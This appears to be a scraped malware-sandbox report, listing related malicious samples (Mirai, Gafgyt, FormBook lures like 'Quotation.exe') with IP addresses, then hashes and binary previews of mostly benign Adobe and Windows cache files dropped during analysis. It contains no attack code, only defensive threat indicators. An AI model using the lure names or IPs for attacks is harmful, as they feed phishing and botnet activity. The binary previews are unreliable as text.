NET1-ASBG	a-r.m-5.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	i-5.8-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	a-r.m-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	x-8.6-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	p-p.c-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	m-6.8-k.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
	m-p.s-l.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.8
RU-CENTERRU	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	193.232.244.238
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	109.70.26.37
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.85.61.76
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Quotation.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	payments.exe	Get hash	malicious	FormBook	Browse	194.85.61.76
	Delivery_Notification_00000207899.doc.js	Get hash	malicious	Unknown	Browse	195.208.1.162
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	109.70.26.37
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	195.209.89.193
	PO #86637.exe	Get hash	malicious	FormBook	Browse	195.24.68.25

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008341235824085
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5Tf:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfo
MD5:	4248FE448E8D878FF3E292364B22B9C5
SHA1:	D5959FD31CAE5C42E471802A4FA643083AE7D221
SHA-256:	54471C1BE9CE5ED90EE503740AE16DA5BC485B5550865D55A59979A696917FA2
SHA-512:	14281750B35C93510D37F6D2B8D0F2AFEFAF76572BE02A250FF6CAE08E7146D2DCE0B01F1391942F1E11EBFB8C8F66716D7A2DFAECC3D1F3890DCB6A72062396
Malicious:	false
Reputation:	low
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x281bc057, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715691301308489
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:raza9vqcHbrq2UyUVWlW
MD5:	F9DA919AC0DE4A5F4C2241382D78A751
SHA1:	CFBDCF92E4F22B4AEB4D065C68927D35D8278D8E
SHA-256:	E883CB5B98EF87C3BECCC30F3D151CC9CC4CF93379CC4A6899B90868BEC96944
SHA-512:	680CB680F66DE2AD24FF8886DB80DC01D7511D2A97C088A1F94B3852DDDD99AC33BEA46EF334AF7CB2DD90E5C78B0FB2A33EA97EF052381C41B611121D2B1997
Malicious:	false
Preview:	(..W... ...............X\...;...{......................0.p.....#....{..3....\|..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{.................................."...3....\|...................,4.3....\|...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08218499416861243
Encrypted:	false
SSDEEP:	3:LGEYehY3sr8qrrvr+gvrr/ysWwF3dllVmctlll/Sm1l1:5zhEgn/yAF3nLPPv
MD5:	499CBE4EDFD340E9CDC37F064D7AA324
SHA1:	2544D0ADA82A7D919DECE0E7EA77B5B109950397
SHA-256:	5E2D00AEAFCFEC908537A0475606164C40D9ACD112A0651410E57362E8027095
SHA-512:	861AF2530E227E7BD9C15C2FD5AF4258E0A307CA393538C3FE54639EAC30ED59E435A672580B22DC788097E53BA61D14130FF696D975C4BA0A0EB0400B937EEC
Malicious:	false
Preview:	..F......................................;...{..3....\|..#....{..........#....{..#....{...i..#....{.V.................,4.3....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.20125756071982
Encrypted:	false
SSDEEP:	6:7B2aN+q2PsZ2nKuAl9OmbnIFUt8OB2ERSZZmw+OB2ERSNVkwOsZ2nKuAl9OmbjLJ:7H+vkcHAahFUt8OWZ/+OWNV51cHAaSJ
MD5:	DD3AB5D7A45AE7533273378734F274D6
SHA1:	43E23ABD8A7C21FEA912A6BC32FC585BF170D626
SHA-256:	FADAD080EEAD1F8B6A2E65D90C8D48A4E90CC2FEC11222F77FAEBD7DE3C4B0DA
SHA-512:	5986C1A855D1F8CF5ED6308CA7ED1E4128417B76CA5DF5BA6CE3C41A800524B9F8B6DF9D3ABD72B77C3ABAD58CA98B8FEA48797BB2CC804852D646D7DD65783F
Malicious:	false
Preview:	2024/12/18-03:21:50.732 1d4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:21:50.735 1d4c Recovering log #3.2024/12/18-03:21:50.735 1d4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.20125756071982
Encrypted:	false
SSDEEP:	6:7B2aN+q2PsZ2nKuAl9OmbnIFUt8OB2ERSZZmw+OB2ERSNVkwOsZ2nKuAl9OmbjLJ:7H+vkcHAahFUt8OWZ/+OWNV51cHAaSJ
MD5:	DD3AB5D7A45AE7533273378734F274D6
SHA1:	43E23ABD8A7C21FEA912A6BC32FC585BF170D626
SHA-256:	FADAD080EEAD1F8B6A2E65D90C8D48A4E90CC2FEC11222F77FAEBD7DE3C4B0DA
SHA-512:	5986C1A855D1F8CF5ED6308CA7ED1E4128417B76CA5DF5BA6CE3C41A800524B9F8B6DF9D3ABD72B77C3ABAD58CA98B8FEA48797BB2CC804852D646D7DD65783F
Malicious:	false
Preview:	2024/12/18-03:21:50.732 1d4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/18-03:21:50.735 1d4c Recovering log #3.2024/12/18-03:21:50.735 1d4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.150798854075722
Encrypted:	false
SSDEEP:	6:7B22uVFIq2PsZ2nKuAl9Ombzo2jMGIFUt8OB2KZmw+OB20ZskwOsZ2nKuAl9OmbX:7fvkcHAa8uFUt8Or/+OxW51cHAa8RJ
MD5:	B4966D5414CC80A8D18DCFD6054382B5
SHA1:	3051289C7EA6D8362609CA2EF3E125CB89073E92
SHA-256:	BF7BD8108E383ECF84F9888E7459CF9EBDE287F24A5D220AB754B9B9BEEF9C66
SHA-512:	836450291906C40AD12B460368A75C5B82B3D43AF39255EA4D8C59AAF6DF1E9BC271D5D2E79AFD5F7DE2A82ABBC1850A2F36C0550B37B83C8FC3684E8C96D5B2
Malicious:	false
Preview:	2024/12/18-03:21:50.817 1e50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:21:50.818 1e50 Recovering log #3.2024/12/18-03:21:50.819 1e50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.150798854075722
Encrypted:	false
SSDEEP:	6:7B22uVFIq2PsZ2nKuAl9Ombzo2jMGIFUt8OB2KZmw+OB20ZskwOsZ2nKuAl9OmbX:7fvkcHAa8uFUt8Or/+OxW51cHAa8RJ
MD5:	B4966D5414CC80A8D18DCFD6054382B5
SHA1:	3051289C7EA6D8362609CA2EF3E125CB89073E92
SHA-256:	BF7BD8108E383ECF84F9888E7459CF9EBDE287F24A5D220AB754B9B9BEEF9C66
SHA-512:	836450291906C40AD12B460368A75C5B82B3D43AF39255EA4D8C59AAF6DF1E9BC271D5D2E79AFD5F7DE2A82ABBC1850A2F36C0550B37B83C8FC3684E8C96D5B2
Malicious:	false
Preview:	2024/12/18-03:21:50.817 1e50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/18-03:21:50.818 1e50 Recovering log #3.2024/12/18-03:21:50.819 1e50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b03c9db-b30a-4414-a0b2-a7cdc9536d84.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF685857.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e7ff8796-2639-4aa3-8d25-0fe1fc06b048.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.976832445967541
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/xWS2sBdOg2HX8caq3QYiubPyP7E4TX:Y2sRdsEQSbdMHX/3QYhbC7n7
MD5:	C332233FB6C6A13F3CAD6E497969169E
SHA1:	A86492633B9183553B9D8F32B9931F74B015807B
SHA-256:	0C5C8E5829CC615040BEFE041871FB40EFE7E79F5D109AC7B2A8614E82C69B1A
SHA-512:	BB523494449F618AF191297547CB59D507B30A13670E3F631B76BC4F3404158F298913E251C6981A40A45055ADE1587C15176968217F8DF35E75D88F857071CF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379070123354637","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":624585},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.23297125800233
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflaDC:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vh
MD5:	1AF56F6671B6B6DCBBC54D203C29028F
SHA1:	FA6EA96C880DAE0234E48CE65CC2003A45597D11
SHA-256:	B634C45183EB2F6112CCC50A4ED1EB3608DF86417081DD9B77F6B7EADE12A484
SHA-512:	0FEEDD41E936192FD600E42BA34E69E6C5B9A845D92D4CE2B34D969B45654E2923EC0E2E2A26A090579757DD4EA7318BB9FD3B23A33CAF976E1BB2899EC88C31
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.127345716082969
Encrypted:	false
SSDEEP:	6:7B29dAAOq2PsZ2nKuAl9OmbzNMxIFUt8OB29hZZmw+OB29rWkwOsZ2nKuAl9Ombg:7IdfOvkcHAa8jFUt8OIL/+OIS51cHAab
MD5:	3AAAEDE91A08E233D5F2B9E6166D2177
SHA1:	422359F139DB34AA5A175A5171788FB0622867F1
SHA-256:	50F63B031201E1483183893F991972BE4AC203667B362F3C7A75F8BBAEA46C4D
SHA-512:	6DDDF08C50D2EBF87BB5DF7BAC08100773FE5DC7CBF99C8232FDC66D12F417FAA8FAD9D438FE413F80F47D47812FEED2F5B8186DC84F785210E04A2883991F9E
Malicious:	false
Preview:	2024/12/18-03:21:51.203 1e50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:21:51.205 1e50 Recovering log #3.2024/12/18-03:21:51.206 1e50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.127345716082969
Encrypted:	false
SSDEEP:	6:7B29dAAOq2PsZ2nKuAl9OmbzNMxIFUt8OB29hZZmw+OB29rWkwOsZ2nKuAl9Ombg:7IdfOvkcHAa8jFUt8OIL/+OIS51cHAab
MD5:	3AAAEDE91A08E233D5F2B9E6166D2177
SHA1:	422359F139DB34AA5A175A5171788FB0622867F1
SHA-256:	50F63B031201E1483183893F991972BE4AC203667B362F3C7A75F8BBAEA46C4D
SHA-512:	6DDDF08C50D2EBF87BB5DF7BAC08100773FE5DC7CBF99C8232FDC66D12F417FAA8FAD9D438FE413F80F47D47812FEED2F5B8186DC84F785210E04A2883991F9E
Malicious:	false
Preview:	2024/12/18-03:21:51.203 1e50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/18-03:21:51.205 1e50 Recovering log #3.2024/12/18-03:21:51.206 1e50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241218082155Z-170.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.4692350506906018
Encrypted:	false
SSDEEP:	192:iCtQBe+8/WCsiqvmHVKKsBFykial3mSuhr:ZtQCdbrHVpqFykial2Su1
MD5:	845A808FD0FB7CDC91B1F0EFC1025D66
SHA1:	D44C0DBAEE251295900B63A242CC43E01059C92B
SHA-256:	32205CE874BD667B3F76CF4A6AE4D14581E7248E6B56A21E8D29487EFA2B8F4E
SHA-512:	90494605677C636C979D3B1891F2E0556D7E046F0F368E16C8B05AF8A50525BDE2F63726C1FE3ABF2BB9CE84010E0EBC8C54AD76394B134C2B900F53405FB6B0
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4385182198572934
Encrypted:	false
SSDEEP:	384:yeCci5G5iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:NVurVgazUpUTTGt
MD5:	4EB045F6563EC0D72BA458E7E3789439
SHA1:	5F9F841BEF48118084EB7D727F60B3D47894730D
SHA-256:	52F46A2007806D7096F395A5DE0FA594F4D6E2F347D18DA1305935D197BEFDCE
SHA-512:	52296DC922AB807EE73468CA489ADA51B60141DFE4FD056AA911396C7F74645C84F25BFC3C65DC567507D1383DA476C7C654536BB388D1C9A70177B623D3E3E7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.764234646865983
Encrypted:	false
SSDEEP:	48:7M9JioyVGioygoy1C7oy16oy14KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OH:7mJuG0jXjBiUb9IVXEBodRBkV
MD5:	958AF08C9F20CC845240D7E3CFD5594F
SHA1:	25973D76AE6C3584C21F3B2D4F7E8FE142D20424
SHA-256:	4E41D9223C61D644C962BE745E9292BAB0F49E6FCBD5741D5EBE497F481147C0
SHA-512:	8E57384183B576B21838EE79E1A08DDD46221E5D64459AE706345240198FE1C51C91406D8F29878207C20B3257990193F60F2A64AA7A7BC378B3D690DCDD15D5
Malicious:	false
Preview:	.... .c......pr................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklnnR+kfllXlE/HT8ktzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKu+9T8czldNMa8RdWBwRd
MD5:	5620D6DD5CB2306435C8B306F97C0C82
SHA1:	C0992CBFD8C6C4FC61B95DF62B7402CE9FF2B8AF
SHA-256:	E2342AD97492B30B33DF2F2A84695D031A18858DB55CBB3443E6046B8669FBC1
SHA-512:	08CA9510D6ED6D9839637C78A8B6102358ED51D25376AEC177ECF50314B5B5FBB97BB0508FE1A25542BC53538FDB1FED9AFB2F7276EDB7E25F41E48A1C213A43
Malicious:	false
